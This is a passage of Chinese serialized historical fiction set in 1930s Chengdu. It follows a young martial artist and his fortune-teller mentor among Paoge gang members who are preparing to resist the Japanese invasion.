黑老鸹皮笑肉不笑,“吃火药,我还想吃子弹呢!”
周立行有些莫名,“咋子?突然就不想活了?”
黑老鸹长叹一口气,“立行,你记性好,把那报纸再背我听听。”
“……”周立行无奈,只得悄悄声地背起来:
“国内外工农军政商学各界男女同胞们……”
那份《为抗日救国告全国同胞书》,周立行也认认真真地看了好几遍,为其中说讲的一些事迹感到震惊。
如日寇要求撤退于学忠、宋哲元等军队,这些军队便立刻奉令南下西开去进行内战了;日寇要求撤退某些军政长官,某些军政长官便立刻被撤职了;日寇要求河北省政府迁出天津,省政府便立刻搬到保定了;日寇要求封禁某些报章杂志,那些报章杂志便立刻被封禁了;日寇要求惩办《新生》等杂志主笔和新闻记者,《新生》主笔和许多记者便立刻被逮捕监禁了……
甚至日寇要求解散国民党党部,北方厦门等地国民党党部便立刻奉命解散了……
虽然诸多的方针主张他并不能理解,但整体看下来,他觉得抗日确实迫在眉睫,亡国灭种这四个字,让他感受到了冰冷的寒意。
军阀混战也好,国军戡乱也好,他天然地感觉这是一家兄弟自己的事,掺不掺和无所谓。但听说日本打进来,十五六岁的周立行本能地觉得,不行,这事很严重。
他背完文稿,突然意识到什么,有些吃惊,“你……难不成想出川去抗日啊?”
黑老鸹见周立行竟有几分猜到他的念头,忍不住身后摸了摸周立行的头,“我老了,我去不了。”
隔一会儿,黑老鸹又说道:“立行,给我磕个头,当我的干儿子吧。”
“我活不长了,你得给我收尸,回成都我就去买一副顶好的棺材,你记得要找块风水好点的地方埋我。”
周立行很烦黑老鸹这种神叨叨的说话方式,仿佛又回到了老主持要圆寂的那一晚,他突然愤怒起来,“放你的狗臭屁,一个二个都这样,活的好好的突然就说要死!滚,要死自己死!”
“嘿,狗娃子又要乱咬人了,好了别生气了,我应该还能活个一年半载的,你别气,快,来磕头……”
黑老鸹起身拉着周立行的手好一通劝,周立行才勉强消气,然而他却不肯磕头认干爹了。
“认锤子的爹,老子就一个爹,早死了!干爹也不认!我答应你死前跟随照顾你,你死后给你挖坟埋葬,其他的没了,滚!”
许是理解周立行不愿意再给亲人送葬的心情,黑老鸹得了周立行这句话,便不再说什么,转而谈起了其他。
“我带你去成都,找一找当年我收过的大徒弟吧,那狗东西混得还不错。哎,不过我当年算过了,他也是个早死的命,就不知道,他是死在我前面,还是我后面……这两年我们去多多麻烦他,等他死了,他要是没人收尸,你就一起收了吧……哎,你咋的打人啊!”
周立行是一句话也听不下去了,刚消的气有腾了上来,满脸通红地捂着黑老鸹的臭嘴,把他砸进了床铺里,“闭嘴吧你,再说死来死去的,我现在就扭断你的脖子!”
“行吧行吧,你大师兄英俊风流得很,可多姑娘婆姨倒追示爱,上回我听说他养了十几个婆娘且随她们去留,这多厉害!你可以请教下他怎么讨婆娘欢心撒!”黑老鸹似乎是平复了心情,总算开口说笑了。
“……”周立行收回手,用桌子上的冷茶洗了洗手,面无表情地回去睡下。
“嗤。”黑老鸹觉得自己可算是逮着弱点了。
*
第二日汽车出发时,被带走的那人没有回来。车上的人都有些后怕,唯有黑老鸹十分淡定。
接下来的一路,整个车辆的人都十分安静。
汽车驶入成都,热闹繁华的气息冲散了车里的凝滞,牛角沱车站里车来人往,下车的人纷纷离开。
周立行随着黑老鸹步行了一截路,又乘船进入府南河,最后到了文殊坊附近。
此处街道宽阔且繁华,路面上甚至挂起了电灯,来往的人群看起来都是衣食富足的模样,大街上也没见多少乞儿。
黑老鸹循着记忆中的道路,很快便找到了忠义茶馆。
忠义茶馆的招牌很大,沉水乌木上面漆着金字,从名字到样式都光明正大地彰显着它是一个袍哥堂口。
黑老鸹很是熟悉这里,他行云流水地搞完一套拜堂口的流程,便带着周立行被领了进去。
这茶馆只分里外两重建筑,外院有露天戏台,里院却是打牌打麻将和各类赌博的地方。里院的守门人一身黑绸的褂子裤子鞋子,戴帽别刀,都是年轻精壮的汉子。
周立行跟着黑老鸹进入里院,一路畅行无阻。
里面很快迎出来一个月末三十岁的中年男人,浓眉小眼,鼻如鹰钩,瘦削狭长的脸型显得有几分刻薄,他看清黑老鸹的时候,神色立即放缓了许多,还笑了起来。
“是黑大爷回来了!这几年又去哪里溜达了呀?”
“邢五爷,好久不见,家里有没有多几个娃儿呀?”黑老鸹笑呵呵地跟对面男人打起招呼。
邢五摇着头,“都是姑娘,呸呸呸,好几个姑娘了,硬是生不到男娃!我正打算收个小老婆试试,还是要有个香火才行啊。”
黑老鸹怪笑,“哎呀,这生男生女啊,跟女人没关系,是天意,不过我有办法呢,要不你听听我说……”
周立行见黑老鸹的模样,就知道他又要神叨叨地坑骗别人了。他默不吭声地跟着走,见黑老鸹给他扯了一通禁烟土禁酗酒莫造杀孽、得饶人处且饶人、修桥铺路多行善事、祖坟底下要埋金银、千金散尽得贵子之类的东西,尤其是不要欠血债,说得那邢五眼睛一瞪一瞪的。
毕竟这邢五爷是从浑水袍哥转来的,大堂口的五爷分黑白旗,邢五刚好又是黑五爷,堂口兄弟伙的刑都是他主管,黑老鸹这话说的就像是在放屁。
若是换成其他人跟邢五这样说,邢五那蒲扇大的巴掌早就跟对方挥上脸了。但黑老鸹嘛,算命的老辈子一个,又是堂口舵把子的师父,他便不往心里去,而是颇为殷勤地带着黑老鸹去了茶馆待客留宿的房间,交代道:
“黑大爷,咱们舵把子最近受邀去开会,已经去了五日,应该就这两日会回了。舵把子交代过,他不在的时候你来了,堂口先供着你。他啊,在成都给你买了一处院子,等他回来带你去住下。”
说完,邢五还打量了一番周立行,“这位是?”
“我的干儿子,收来给我送终的。”黑老鸹笑嘻嘻地回答,周立行则是怒视他。
“瞪眼的样子够凶吧?嘿嘿,跟你们舵把子年轻的时候一个性子!”
黑老鸹对周立行的怒视无动于衷,坚定不移地胡说八道。
邢五赞同,“干儿子?哎,这也是个好办法,要是我娶了小老婆也生不出来儿子,那干脆就去过继一个长得像我的得了!”
黑老鸹头摇的跟拨浪鼓似得,“那也不是万全之策,命里无子的,过继的要死,收养的要跑,你还是得听我的,先把鸦片给戒了……”
邢五无奈地摸鼻子,本想赔黑老鸹多聊聊的,算了,继续跟兄弟伙们打麻将去算球。
到了自家大徒弟的地盘,黑老鸹浑身上下的紧张烦躁之意总算是缓解了些。用完餐饭,又有堂倌送来热水洗脸洗脚,黑老鸹便躺下了。<
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p>周立行也是洗漱一番休息。第二日大清早,他把自己和黑老鸹换下来的里衣裤抱出来想找地方洗,没想到这茶馆竟然请的有专门的洗衣娘子,上前来把衣服给他收了去。
清晨无事,打完一通拳活动完筋骨,闲下来的周立行跟着茶馆转,发现成都这边的挑水工更多是取河水,而茶馆除了卖茶,还要兼卖开水热水。
听堂倌们讲,井水要交钱才能打不说,那水味苦涩不说,普通人家还得从外面买木炭柴禾煮饭菜,能有点余火顶多热一热水,煮沸水是奢侈的行为。
这几年,外面进了一种好玩意儿,叫温水瓶,里面的玻璃胆是双层,口子上用木头塞上,开水装进去一天一夜后都还是热的。好些人家都备着这种温水瓶,家里有余火就热些水往里面放,或者每日直接来茶馆买一壶热水灌回去,巴适得很。
就这么闲逛了大半天,下午的时候,邢五口中的总舵把子总算是回来了。
那男人名叫方结义,如黑老鸹所说,长得英俊非凡,一眼看去猜不出年纪,梳着时髦的发型,穿西装打领带,宽肩窄腰,个子高大,又像是二十多又感觉眉眼气质像三十多,剑眉星目嘴角含笑,豪迈和多情的感觉奇异地融为一体,身上又带着袍哥大爷特有的豪横耿直,是一个在人群中自然而然会被人跟随的人物。
方结义身后跟着十来号兄弟,身边围着五个妖娆的女子,一边走一边向茶馆各处的人打招呼寒暄,短短一截路硬是走了好一阵子,才走到里院。这会儿黑老鸹已经带着周立行站到门口了。
“师父哎,你可总算是要回来养老了啊!听邢五说你还认了干儿子,哎哟太好了!来我看看!哟,年岁这么小啊,给我当干儿子都可以了……哎不成,乱辈分了,小弟,以后就喊我方大哥!”
方结义龙行虎步,人还没有走到黑老鸹身前,先把周立行一把抓过,又是揉脑袋又是拍肩膀地挼了一遍,夸赞道:
“好筋骨,练过武的!底子打的相当好啊,啥时候跟哥切磋下?哥的通臂长拳打的也很好的哦!”
周立行嗯嗯啊啊地敷衍,自从下了峨眉山,他就没有再跟人练过,也不知道这位方大哥是不是有真把式。
哪知这方结义是个想到什么就做什么的人,还真的马上脱了西装丢给手下,走到院子里向周立行拍手示意,“来,耍一盘!”
周立行瞪大眼,看向黑老鸹。
黑老鸹嘴里已经开始嗑瓜子了,他一挥手,“看我干啥,去啊,揍他一顿,把他那油光水滑的头发都给我拽了,让他变光头!”
周立行不受控制地看向方结义的时髦发型,方结义则是被黑老鸹的口无遮拦气笑了。
周围的人跟着起哄,哦吼哦吼地叫唤起来。周立行只得脱了外衣,走到场中,向方结义行了个礼,然后习惯性地猴子偷桃!冷不丁地一拳直捣方结义的□□。
方结义嚯地一声,下手格挡!
周立行一招猴拳刁手,直往对方眼睛而去。
方结义算是看出来了,这个小师弟,跟着黑老鸹学了不少阴招!
方结义是年轻时候的黑老鸹一手教出来的,学的又多又杂,却丝毫不乱。他天生就拥有融会贯通的能力,出手变招又快有准,用的最好的是八卦掌法和腿法。
那时候的黑老鸹意气风发,双龙头老大当得有滋有味,体能精力都在巅峰,挥手一召上前弟兄鞍前马后,教的东西都颇有大道之意。
而周立行遇到的黑老鸹,是失意落魄行走江湖的老头子,见过太多阴毒偷袭,遭过许多暗害背叛,老而不死又精又贼,教给周立行的多是出其不意的杀招。
所以虽然方结义是刀口舔血堂口拼架打出来的大爷,四十岁左右的体能还未下降,力量和经验都到位;但周立行则是天生野长的形意拳高手,反应快躲得起,逮着机会出招又毒又刁,二人起落之间过了三四十招,竟谁也奈何不了谁。
黑老鸹清了清嗓子,给周立行使了个眼色。
周立行秒懂,在人家的堂口,给人家面子!
于是周立行一招猿猴蹬枝顺水推舟,在方结义的一下截拳中佯装被打到,再就着那姿势被方结义擒住,赶紧喊败:
“方大哥,你赢了!”
说出这句话,周立行莫名地想到自己第一次打败猴王之后又假装被猴王打败的事情,差点没忍住笑出来。
好险!这要是笑出来了还了得!!
23.成都
别人看不出来真的输赢,方结义心理可门清,好在师父还是给他面子的,没让着孩子一直拖着他。
可是这弟娃也太没城府了,一脸想笑的样子……幸好忍住了,不然他怎么下得了台!
“好弟弟,再长长就比哥哥厉害了。你叫什么名字?”
虽然弟娃差点笑场,但方结义是真的稀罕这个身手厉害的弟弟了。
任何一个袍哥堂口,都不可能拒绝这种身怀武艺的人才!
周立行初下峨眉山的是,把静空师兄的俗家名兰九清化用成自己的名字,改了个周九青;跟着黑老鸹去重庆的一路上,到是默认了黑老鸹叫自己立行。
现在被方结义问道,周立行便还是顺嘴用了化名,“周行善。”
立行静善,简称行善。下回再化名,可以叫周积德了。
黑老鸹见周立行无师自通地走一地换一名,乐笑了。
方结义见黑老鸹笑,便知道这名字多半是现取的,他也不拆穿,人在江湖飘,名字随手抛,正常得很。
有手下捧来热毛巾,方结义擦了擦汗,穿上外套,只邀请黑老鸹和周立行一起进了房,让那些手下和女人们都自个儿散去。
接下来黑老鸹和方结义的一番谈话,让周立行有些瞠目结舌。
原来这方结义去参加的会,竟然是刘湘那边自己搞的特务组织,到川内邀个大堂口的舵把子去密会,要以各堂口的袍哥给他们提供蒋老大及其手下、包括中央军等各类情报。
“咋地?刘湘现在不信那个刘神仙了?”黑老鸹有些好奇。
“以前不都事事要喊刘神仙算一卦吗?呵呵。”
“师父,莫要说戳儿话嘛,人家刘神仙再不济,还是帮刘湘从巴壁虎干到了四川头号军阀。”
方结义有些恨铁不成钢的样子,大逆不道地指着自己的师父抱怨。
“你看看你,还是从保路运动走来的老袍哥呢,一样能掐会算的,咋地没把我整成一方军阀呢!”
周立行震惊地看向黑老鸹。
黑老鸹嗤之以鼻,“你这个看见漂亮婆娘就昏头的白脸男,还想当军阀,阀个铲铲!”
周立行又震惊地看回方结义。
方结义见周立行这样子,便知道这小弟知道的少,于是解释道:
“刘从云的本名叫刘宗培,丛云这个法名,是他去峨眉山找意祥和尚取的,他曾经在成都的驷马桥摆摊算命,当年师父还跟他一起斗过易经呢。”
“同样是算命的,人家刘从云在成都没有混出名堂,跑去重庆开馆,啧啧啧,人家对下发展神道信众,对上结交权贵算命,开山立堂自创【一贯先天大道】,他依靠信众本就有一张情报网,又确实能掐会算有本事,巴壁虎刘湘有了他,当真是如虎添翼,这些年果然入主四川当了总舵把子!当年大家都尊称刘从云是刘神仙呢!”
黑老鸹呵呵一笑,“神仙?你信?”
方结义摸了摸鼻子,“要不是我有你这个连鬼都要嚯一哈的师父,我肯定信哦。”
“你是袍哥,消息多,你讲哈去年刘从云阵前扶乩来选择参战将领,掐算所谓黄道吉日去打红军,结果被锤得翻叉叉,是咋回事呢?”
黑老鸹一点面子都不给,直接戳穿这个装模作样的刘神仙。
说到这个,方结义谨慎了一些,他斟酌了一会儿,才低声道:
“师父,刘从云装神弄鬼那一套骗不到我吗。不过,这红军真的有点名堂。我觉得吧,不怪说刘湘他们那么怕红军,那群人真的,很不一样。”
黑老鸹凝视着方结义,半晌,他斩钉截铁地说到,“你跟红军有过接触。”
方结义大惊,“别乱说,那是赤/匪,通共可是死罪!”
黑老鸹冷笑,“你个浑水袍哥起家的,好意思说别个是匪?!通共咋子嘛,怕被杀头啊?”
方结义心虚的时候会不自觉地掐自己的大拇指,他条件反射地想要摇头,后又想起来现在屋子里没有外人,于是又点头:
“师父啊,在外面你可别乱说,惹上一些人,徒弟我不一定能救你!”
黑老鸹不置可否,反骨铮铮,“讲讲你遇到的红军。”
方结义想了想,干脆说实话,“去年我们去青神县送镖,遇到那边的西山暴动,打出红军的旗帜打土豪分田地。不过他们人少,枪也少,没过多久便被镇压了。”
“当时我因一些个人原因,帮着救了两个红军送走……这都是杀头的事情,今日只能是我们三人知道!”
黑老鸹和周立行一起点头。
“今年去川南帮着运枪的时候,遇到被围剿的川南游击纵队,又打了些交道……”
“他们的部队是什么样的?”黑老鸹问道。
方结义半晌说不出话,没办法去形容,到最后直接来一句,“他们居然真的可以执行三大纪律八项注意!妈的,简直不是人!”
“???”黑老鸹皱眉,“多严重的事,能让你这个当过土匪的东西都说不是人?”
“不是!哎呀,三大纪律是一切行动听指挥、不拿群众一针一线、一切缴获要归公。”①
“八项注意是说话态度要和好、买卖公平、借东西要还、损坏东西要赔偿、不打人骂人、不损坏庄稼、不调戏妇女、不虐待俘虏。”②
方结义急了,直接讲了他知道的,并且评价道:
“这些事情他们竟然都可以办到!真他锅儿的奇了怪了!”
“这样的部队怎么会存在的啊?你说当官的做做样子,我信,可他们不是,他们是所有人都可以办到!所有人!”
“他们部队里还禁止赌博禁止□□!竟是真的不会有人去骚扰妇女!”
“他们……对穷苦人特别的好……是我从没有见过的类型,夷蛮们专门给了他们一个称呼,红汉……意思是,他们跟我们不是一样的汉人……”
周立行听了,也觉得离谱。民间俗语,匪过如梳,兵过如篦,官来如刀剃。
远的不说,近的如逼他跳崖的副官,还有汽车站光明正大拿大家东西的士兵,都是正常操作。
虽然闹大了也有军法,但军法是长官想执行才执行,不想执行就可以不执行的。
方结义回忆着那只游击纵队,各个衣衫简朴,却神色坚定。他们身上有种很奇怪的特质,不是为了升官发财,更不会劫掠□□,他们的战斗力和凝聚力非常强,几次被打散,几次重聚,没了长官也不会溃散,仿佛只要还有一个人在,这只队伍就会复生。
“别说军阀的部队,就我自己的堂口,但要真的是过成那副苦样子,我可不敢说还能有几个人会继续跟着我。可他们,一直在打仗,一直在减员,可人却没有散,总有新人愿意进去……从江西走到四川,还要翻雪山过草地……竟然没有溃散,妈哟,真的不是人……”
黑老鸹沉默许久,评价道,“如若你说的是真的,那便真的是……圣人王师。”
“我不喜欢读书,你说的那些我不懂。但我知道,红军是愿意抗日的!”
方结义声音沉闷,他作为一个典型的江湖袍哥,在声色犬马和忠勇义气的环境中可以混得如鱼得水,,对城头变幻大王旗的内战没什么感想,但他非常憎恨外来侵略,一说到日本,就热血上头。
“那些狗日的卖国贼,丢疆弃土的龟孙子,我看不惯!”
黑老鸹沉默了几息,说出了自己回成都来的最终目的。
“结义,若是你真的有这份心,那就做准备吧。”
方结义猛地抬头,大为震惊,“师父?!你是说……”
“抗日。”黑老鸹沉沉的目光压在了方结义身上,“积攒枪支弹药,吸纳民勇,准备打仗。”
“会打到四川来?”方结义站起来,原地走了两圈,手臂微微发抖,整个人陷入一种焦虑和亢奋相交织的其他状态。
他双眼发红,跪到黑老鸹旁边,诚恳地问道,“师父,你是有什么消息?还是自个儿算的?”
黑老鸹满是苍老褶皱、冰凉的手握住了方结义。方结义的手宽大、温暖、厚实,一如当年他风华正茂的时候。
“若是日本人真的打到四川,那我们,就真的亡国灭种了。”黑老鸹没有正面回答,他只是紧紧握着方结义的手,问道,“你怕死吗?
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”
方结义笑了,“人生自古谁无死,袍哥人家,从不拉稀摆带,沟死沟埋,路死插牌!你早就说过我活不到老的,婆娘我耍安逸了,娃儿也生一堆,我还怕死啊?我怕死的不够惊天动地,不够轰轰烈烈。”
这一番对话后,黑老鸹对自己多年不见的大徒弟有了一番了解,才安下心来,正式跟着方结义去了一处院子,那是方结义的孝敬。
方结义除了房子,还送了一个中年厨娘、两个洗衣打扫的干孙女——小老婆生的一堆孩子里挑出来的两个伶俐女儿,方小梅和方小荷,以及一大箱银元。
黑老鸹这下如同鱼入大海,自由自在的很。
他立即过上了满街泡茶馆到处给人算命玩的快乐生活,让周立行去跟着方结义学点东西找碗饭吃。
*
方结义听了黑老鸹那一番话,心中也自有一番计较。
要说黑老鸹算命是坑蒙拐骗吧,那肯定是的!但要说黑老鸹说的话没有预见性呢,那也不对。
方结义见识过黑老鸹未曾颓废之前的样子,晓得他曾有雄心万丈,能谈天下大势。所以黑老鸹说的,他信。
于是方结义开始绸缪起来,他对自己的一堆小老婆和子女做了一番安排,铺子房子田地该分下去的分下去,女娃子能定亲的定亲,男娃子能做工的做工,确保他哪天走了,婆娘娃儿些有着落。
然后,他提议让周立行进堂口。他现在虽然混得不错,手底下上千号兄弟,除了茶馆,还开着剧院、赌场、酒楼,自个儿也顺便做运货的生意。
可哪天如果他真的带着一批弟兄们走了,堂口里还得有一些他能信实的存在。
他莫名地信周立行,觉得可以给他筹备位置。
周立行跟着黑老鸹漂泊到此,眼见黑老鸹开始真心的停下脚步,有了个固定的窝,有了亲人一般的徒弟,开始享受养老生活,便也跟着定了心。
他能在峨眉山上待三年,便也不介意在这成都也待些年岁。
于是,方结义开了堂口,难得地召集了各排领头的爷们,一起见证周立行入堂口的拜香仪式。
点香,唱词,杀鸡,歃血,立誓。
周立行波澜不惊地走完了所有的流程,顺带认得了堂口的几位大爷们。
然后,他从底层做起,先干起了跑腿送信的幺哥,负责跟留在成都歇脚客商们联系。
方结义这般打算是十分精妙的,虽然他开了最高规格的堂会来欢迎自己的小师弟入堂口,但他并不打算一步到位把周立行提到高位。
毕竟江湖规矩,排位是靠功绩升上去的,他当老大,必须赏罚分明。
师父的面子要给,这是忠义,不然显得自己没本事;师弟的位子要低,这是道义,不然就对不起其它弟兄。
给客商们送信,既安全又容易得到额外的打赏,还可以让周立行迅速了解人脉,也可以锻炼锻炼周立行的交际能力。
他也没让周立行一个人跑路,还给周立行配了两个堂口袍哥的子侄——谷娃子和石娃子,与周立行差不多年纪,天然的小弟跟班小狗腿。
于是这头方结义一脑袋地扎进了筹备抗日的繁杂事务中,周立行则是悠哉悠哉地穿行在成都的大街小巷,送着那轻飘飘的请柬和信件,没事的时候就跟着黑老鸹继续学各种阴招,过得舒适得很。
日子就这么过了一段时间,转眼便是过年,整个成都城四处张灯结彩,老城门上挂起精美的丝绢红灯笼,又高又厚的城墙上也挂满了灯笼,寒风也阻挡不了人流涌动,各处集市摩肩擦踵,穿新衣吃年饭,鞭炮四处响,热热闹闹地期待新的一年。
等到府南河边的柳枝长出嫩芽,桐子花开谢,周立行又蹿高了一节,他不爱吭声这段时间恰好过了变声期,声线也从以前的清亮少年音,变得有些低沉。
年后,各地的客商开始来往,周立行负责带着两个比他还小一点的小幺哥,专门负责向堂口合作的客商送信。
这一天,他见到了深埋在心中,想都不敢想的人。
同一天,方结义接到汇报,说他的小师弟被别人家的漂亮姨太太给勾掉了魂!
24.成都
两进的院子里,过年的红灯笼、红窗花依旧鲜亮。
院子里的橘子树已萌出了点点嫩芽,芙蓉花半开半谢,正是冬春交融的时节。
太平缸里的睡莲叶子绿了一冬,橙色的锦鲤摇头摆尾浮上来晒太阳。
王喜雀头上插着镶碧玉的金簪,粉嫩的绒花插在耳鬓,身上穿着春桃色的斜襟绣花夹棉长袍,酱红色的绣花裤,黑色绣花鞋子,正如一朵开到繁盛的芙蓉花。
她依靠着缸子一边喂着锦鲤,一边和个一脸刻薄相的管家婆子说着什么事,此时门房来报,说门外有袍哥送信。
木茶商这几个月都不在成都,于是王喜雀便带着管家婆子一起出门去收信。
几个月不见,周立行长高且长壮实了些,和外人打交道多了,整个人看起来成熟了许多。
王喜雀见到认识的人,眼神一亮,又见周立行拿着信件,身后还有两个少年跟班,一时有点拿不准该不该相认。
周立行一时间心跳如鼓,手足无措,嘴唇张了几下都没发出声音,一时间场面就这么僵住了。
管家婆子左看右看,觉得气氛不对,她赶紧拐了一把王喜雀。
王喜雀见周立行愣着愣着脸都红了,噗嗤一下笑了出来,温声道:“弟娃,把信给我噻。”
周立行忙不迭地递出信,好不意思地回答,“喜雀姐,没想到会在这里见到你。”
见周立行认她,王喜雀心中松了一口气,她询问道,“你进忠义堂了?”
周立行点头,他还有好几家的信件要送,也不能在这里多耽误,但见王喜雀的神色,应该是想问问他知书知礼以及青竹叶的情况,但这肯定不能在这里说。
他略微思考,回答道,“我现在改名叫周行善了,跟着师父回成都,堂口舵把子是大师兄,给我找了些事做。我这几日为堂口送信,之后空了就在茶馆或者师父家,姐姐你收了信,之后涉及到生意也是要来堂口的,到时候咱姐弟俩再聊啊。”
王喜雀点点头,收下信件,目送周立行离开。
周立行转身走出去不到三步,回了下头,再走出去不到五步,又回了下头,直叫他那两个小跟班摸不到魂头。
“善哥,你丢魂了啊,一直回头找啥子?”呆头愣脑的石娃儿跟着回头,只看到那个漂亮的粉衣姨太太在笑,以及蓝衣的婆子撇嘴不知道说些啥,肯定不是好话。
谷娃儿扯了一把石娃儿,“闭嘴吧你,周幺哥多看几眼漂亮婆娘,你不要戳穿撒!”
周立行这才硬生生止住自己回头看的脑袋,虎着脸呵斥这两个小跟班,“闭嘴!再乱说,打嘴巴子了啊!”
石娃儿和谷娃儿,是方结义特地指给周立行的两名少年,一个十四岁,一个十五岁,都是袍哥兄弟家的子侄。
民国时候的小孩子,除了富裕殷实人家能供孩子上学外,绝大部分的孩子是不上学的。三五岁之前就由大点的孩子带,七八岁就可以帮家里做活,十岁出头就能出去做工。民间有句俗话叫十二岁朝天百姓,也就是说十二岁就能当大人来用了。
虽说民国法律规定男女结婚年纪是男十八、女十六,可民国还规定过一夫一妻呢,然而还不是有钱人家的姨太太小老婆满天飞。在民间,贫苦人家十三四岁的女孩子嫁出去的不少,有钱人家十五六岁的男孩子结婚的也挺多。
所以,这时候的娃儿们,普遍早熟,更别说这些袍哥家庭出来的子侄了,整天听的看的太杂乱。周立行反倒是因为去峨眉山上待了几年,比这些走街串巷的娃儿显得生嫩了许多。
于是,周立行的异常表现,在石娃儿和谷娃儿那里看得分外清楚。
自从见了那个喜雀姐姐之后,周立行整个人容光焕发了,打了鸡血一般腿脚生风,跑的贼溜快!
甚至会动不动傻笑!
这两娃儿嘴上也不是把门的,回去就跟自家兄长叔叔摆龙门阵,哎,舵把子的小师弟,今天去哪哪看到人家的漂亮姨太太,噢哟,眼睛都直了!虽说看起来他们以前就是认识的,但足以看出,原来周立行喜欢年纪大点的呢!
这话,马上就传进了方结义的耳里。
*
方结义觉得弟娃什么都好,就是不爱说话,黑老鸹一天到晚呱唧呱唧嘴皮子不停,弟娃则是能不开腔就不开腔,跟和尚修了闭口禅一样。
周立行并不是不爱说话,而是不太爱跟方结义的兄弟们说话。
在峨眉刘五嬢那的时候,也许因为五嬢是女人,堂口的兄弟们对外面的女性都是比较尊重的。
而方结义的兄弟们,善恶黑白无法统一评判,但大家人生目标都蛮统一的——经常挂在嘴边的是除了钱财就是婆娘。
方结义此人不沾鸦片,不开妓院,堂口生意主卖药材兼走私军火,赌场放贷不算高,血酬接的少,在袍哥里算得上混沌偏正派了。他没有明媒正娶的老婆,按他本人的话说,他一直是黄金单身汉。
但他本人专门买了个园子,据说养了十几个小老婆。
传言这些小老婆都是主动投奔他的,用他本人的话说他只是英雄救美。
小老婆们愿意跟他的,他供给吃穿,生了孩子的,甭管月份够不够,他都认下来姓方。要是跟到一半,看上其它男人了,要走就走,他绝不追究;要是走之前敢带着其它男人来磕头告知的,他还大大方方地送一份嫁妆。
方结义自认为英俊风流,他爱赌,却不嫖,说的是绝对不会用钱财去买女子欢心。
只有漂亮女子爱上他,他才会给对方花钱,并且绝不计较对方的过去;只要漂亮女子爱过他,哪怕以后不爱了,他也愿意敲锣打鼓地送嫁,给对方一个好前程。
当然,他要的是漂亮女子,不漂亮的不收。
总之,很难评。
方结义虽然显得风流,但并不下流。但是他下面的兄弟们,没有那个实力,也没有那个样貌,却个个也想妻妾成群,那咋办?
养小老婆要钱,养了还要生娃儿,生娃儿又要钱,还不能经常换,那不如就去嫖,每天嫖新鲜的,不是相当于婆娘无数吗?这是一类人。
还有一类人,觉得嫖也要钱,不如去偷。良家大闺女不好勾搭,那些望门寡、鸳鸯寡、断桥寡、离弃寡等等家中,他们围来转去,施些小恩小惠,或出力帮忙,或哄或骗,或相互打掩护,一拨人去滋扰,一拨人去帮忙,来来回回演几出英雄救美,便装的情投意合了,夜半来天明去的,偷得带劲。
这类人,让周立行无端地想到了青竹叶。当初青竹叶说外面对她评价不好,有许多风言风语,她自己还说过笼络堂口的兄弟们,当初黑老鸹露出了可怜的神色。现在想来,青竹叶没有说出来的那部分,是多么的让人难过。
这两类人,个个都觉得自己道德无暇,毕竟要么给了钱,要么帮了忙,你情我愿的事情,他们可从来不会犯□□,袍哥在自己的辖区里犯□□,那是要被五爷抓去自己挖坑自己活埋的。
这样的男人们打堆,嘴里十句话八句不离女人,不是点评哪个妓女,就是描
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述哪家寡妇。周立行听得一个头两个大,总觉得他们那样很不好,可又讲不出为什么不好,他年纪小,说什么别人也未必会听,于是只能闭嘴不说话。
周立行既不爱跟这些男人们聊黄话,更不会跟着他们去找妹儿,以至于很长一段时间,方结义都以为周立行没开窍。
哪晓得不是不开窍,而是喜好不一样啊!
袍哥人家的规矩千条万条,最重要的一条,就是不能偷别人名正言顺的婆娘!要是犯了,那是死罪!三刀六洞不得饶恕那种!
方结义一时气得心梗,赶紧再派了人去跟,看看到底怎么回事!
*
过了几日,周立行送完了所有的信件,歇了下来,便哪都没去,整日里眼巴巴地守在茶馆里,等着王喜雀来找他。
如此守株待兔一般等了好几日,王喜雀总算是来了。
只不过这次,王喜雀不是一个人出门,除了当日的管家婆子,还跟了一个中年男子,两人看似帮王喜雀拿东西,但亦步亦趋跟的很紧。
王喜雀到茶馆,先是拜访了堂口的陈三爷—负责堂口财务的一个白白胖胖笑眯眯的中年男人,她拿出木茶商的信件交还,然后才向陈三爷说她有个旧相识弟娃叫周行善。
方结义是堂口的大爷,周立行进堂口,是给关公上了香,过了各位爷的明路的。陈三爷便叫人去通传周立行,周立行本就守在茶馆没走,这下赶紧地过来。
陈三爷叫人给周立行和王喜雀开了个包间,让他们故人好好谈,便离开了。
王喜雀却没有开口说话,而是端着茶杯,眼睛轻扫自己身后。
周立行察言观色的本事也是有所增加,他知道王喜雀的意思是身后的人不可靠。
于是,他抬手指,做了个“赶出去”的姿势。
王喜雀摇头,见周立行懂了她的意思,便不再暗示,而是用棱模两可的话提问,“弟娃,好久不见,你家中姐妹可还好?”
周立行回答,“我家大姐在重庆过的挺好的,两个妹妹也去了那里,大姐见到妹妹们,很高兴,把她们安顿好了。”
王喜雀的神色舒展了许多,眼神里凝聚着细碎的感激,嘴角勾起,“那就太好了。听闻重庆那边女袍哥势力挺大,你大姐和妹妹去看过吗?”
周立行想着那趟芝兰茶馆之旅,点头之后摇头,“去看过,大姐说没意思,哪儿都是人欺人,还是自己做事的好。”
这话让王喜雀有些纳闷,不过有人在场,她也不方便多说,便和周立行闲扯了一些其他,其中也讲到刘五嬢,她和刘五嬢也搭上了线,如今合伙做些生意。
闲聊了一小会儿,王喜雀没有多待,起身告辞。周立行颇有些不舍,眼巴巴地望着王喜雀离开,那眼神姿态他自个儿看不到,但放在外人眼里,简直是直白无比。
王喜雀前脚刚走,后脚堂口里便传出了“周行善和别人家的漂亮姨太太茶馆私会”的八卦。
方结义听得火冒三丈!当即先把制造这个机会的陈三爷骂了个狗血淋头!他晓得堂口里有些人盯着周立行,生怕周立行抢位置升排位,逮着机会就要故意乱说。
陈三爷见方结义护犊子,立马换了口风,表示这种碎嘴子必须惩罚,一通摸排下去,便先把谷娃子和石娃子逮来,由五爷领人拿着竹尺子各抽了十下嘴巴子,以儆效尤。
那些真正传话的人虽然没有被打,但见着架势,便暂时熄了火。
然后,方结义当晚亲自去师父家找周立行谈心去了。
25.成都
这会儿天快黑了,方小梅方小荷两个丫头子正在洗碗,周立行在院子里用匕首雕木簪子,黑老鸹神叨叨地摆着一堆干草不知道算着什么,方结义踱着步进了门。
周立行以为方结义是找黑老鸹的,便进屋去点灯泡茶。哪知方结义简单跟黑老鸹寒暄了几句后,便看向了周立行。
“谷娃儿石娃儿在堂口兄弟伙中间乱说话,我已经罚了他们。接下来他们两个还是跟着你,你可要好好管教。”
周立行眉头一挑,“他们说啥子了?”
方结义往椅子上一躺,拉了拉领带,看似笑得没心没肺,实则眼神似鹰隼般盯着周立行的表情。
“他们说,你被个快三十岁的漂亮姨太太勾引,魂儿都没了,怕是要遭骗呢。”
